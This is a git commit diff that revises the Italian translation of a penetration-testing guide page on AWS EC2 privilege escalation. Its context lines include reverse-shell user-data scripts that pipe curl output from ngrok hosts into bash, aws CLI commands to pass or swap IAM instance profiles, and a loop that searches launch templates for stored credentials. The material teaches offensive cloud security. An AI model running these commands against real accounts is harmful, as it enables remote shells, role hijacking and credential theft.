Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-02-06 02:14:27 +00:00
parent 5f66f2b992
commit bfbe7483ba

View File

@@ -30,7 +30,7 @@ echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
@@ -86,13 +86,13 @@ Se il **profilo dell'istanza ha un ruolo** e l'attaccante **non può rimuoverlo*
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2 (è necessario aver compromesso un'istanza AWS EC2 e avere alcune autorizzazioni extra o uno stato specifico del profilo dell'istanza).
**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2 (è necessario aver compromesso un'istanza AWS EC2 e avere alcuni permessi extra o uno stato specifico del profilo dell'istanza).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Con queste autorizzazioni è possibile cambiare il profilo dell'istanza associato a un'istanza, quindi se l'attacco ha già accesso a un'istanza, sarà in grado di rubare le credenziali per più ruoli di profilo dell'istanza cambiando quello associato ad essa.
Con questi permessi è possibile cambiare il profilo dell'istanza associato a un'istanza, quindi se l'attacco ha già accesso a un'istanza, sarà in grado di rubare le credenziali per più ruoli di profilo dell'istanza cambiando quello associato ad essa.
- Se **ha un profilo dell'istanza**, puoi **rimuovere** il profilo dell'istanza (`ec2:DisassociateIamInstanceProfile`) e **associarlo**
- Se **ha un profilo dell'istanza**, puoi **rimuovere** il profilo dell'istanza (`ec2:DisassociateIamInstanceProfile`) e **associarlo**.
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
@@ -106,7 +106,7 @@ aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<va
### `ec2:RequestSpotInstances`,`iam:PassRole`
Un attaccante con le autorizzazioni **`ec2:RequestSpotInstances`e`iam:PassRole`** può **richiedere** un **Spot Instance** con un **ruolo EC2 allegato** e una **rev shell** nei **dati utente**.\
Un attaccante con le autorizzazioni **`ec2:RequestSpotInstances`e`iam:PassRole`** può **richiedere** un **Spot Instance** con un **ruolo EC2 allegato** e un **rev shell** nei **dati utente**.\
Una volta che l'istanza è in esecuzione, può **rubare il ruolo IAM**.
```bash
REV=$(printf '#!/bin/bash
@@ -119,7 +119,7 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
Un attaccante con il **`ec2:ModifyInstanceAttribute`** può modificare gli attributi delle istanze. Tra questi, può **cambiare i dati utente**, il che implica che può far **eseguire dati arbitrari** all'istanza. Questo può essere utilizzato per ottenere una **rev shell all'istanza EC2**.
Un attaccante con **`ec2:ModifyInstanceAttribute`** può modificare gli attributi delle istanze. Tra questi, può **cambiare i dati utente**, il che implica che può far **eseguire dati arbitrari** all'istanza. Questo può essere utilizzato per ottenere una **rev shell all'istanza EC2**.
Nota che gli attributi possono essere **modificati solo mentre l'istanza è ferma**, quindi le **permissive** **`ec2:StopInstances`** e **`ec2:StartInstances`**.
```bash
@@ -162,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Un attaccante con i permessi **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** può creare una **nuova versione del Launch Template** con una **rev shell in** i **dati utente** e **qualsiasi ruolo IAM EC2 su di esso**, cambiare la versione predefinita, e **qualsiasi gruppo Autoscaler** **che utilizza** quel **Launch Template** che è **configurato** per utilizzare la **versione più recente** o la **versione predefinita** **riavvierà le istanze** utilizzando quel template ed eseguirà la rev shell.
Un attaccante con i permessi **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`e `ec2:ModifyLaunchTemplate`** può creare una **nuova versione del Launch Template** con una **rev shell in** i **dati utente** e **qualsiasi ruolo IAM EC2 su di esso**, cambiare la versione predefinita, e **qualsiasi gruppo Autoscaler** **che utilizza** quel **Launch Template** che è **configurato** per utilizzare la **versione più recente** o la **versione predefinita** **riavvierà le istanze** utilizzando quel template ed eseguirà la rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Questo modo non è molto utile per il privesc poiché è necessario conoscere un nome utente e una password per sfruttarlo.
Questo metodo non è molto utile per il privesc poiché è necessario conoscere un nome utente e una password per sfruttarlo.
**Impatto Potenziale:** (Altamente improbabile) Privesc diretto ai ruoli IAM EC2 associati alle istanze in esecuzione.
### `describe-launch-templates`,`describe-launch-template-versions`
Poiché i modelli di avvio hanno versioning, un attaccante con permessi **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** potrebbe sfruttarli per scoprire informazioni sensibili, come le credenziali presenti nei dati utente. Per raggiungere questo obiettivo, il seguente script scorre tutte le versioni dei modelli di avvio disponibili:
Poiché i modelli di avvio hanno versioning, un attaccante con i permessi **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** potrebbe sfruttarli per scoprire informazioni sensibili, come le credenziali presenti nei dati utente. Per raggiungere questo obiettivo, il seguente script scorre tutte le versioni dei modelli di avvio disponibili:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -252,7 +252,7 @@ Nei comandi sopra, anche se stiamo specificando determinati modelli (`aws_|passw
Assumendo di trovare `aws_access_key_id` e `aws_secret_access_key`, possiamo utilizzare queste credenziali per autenticarsi su AWS.
**Impatto Potenziale:** Escalation diretta dei privilegi a utente(i) IAM.
**Impatto Potenziale:** Escalation di privilegi diretta a IAM user(s).
## Riferimenti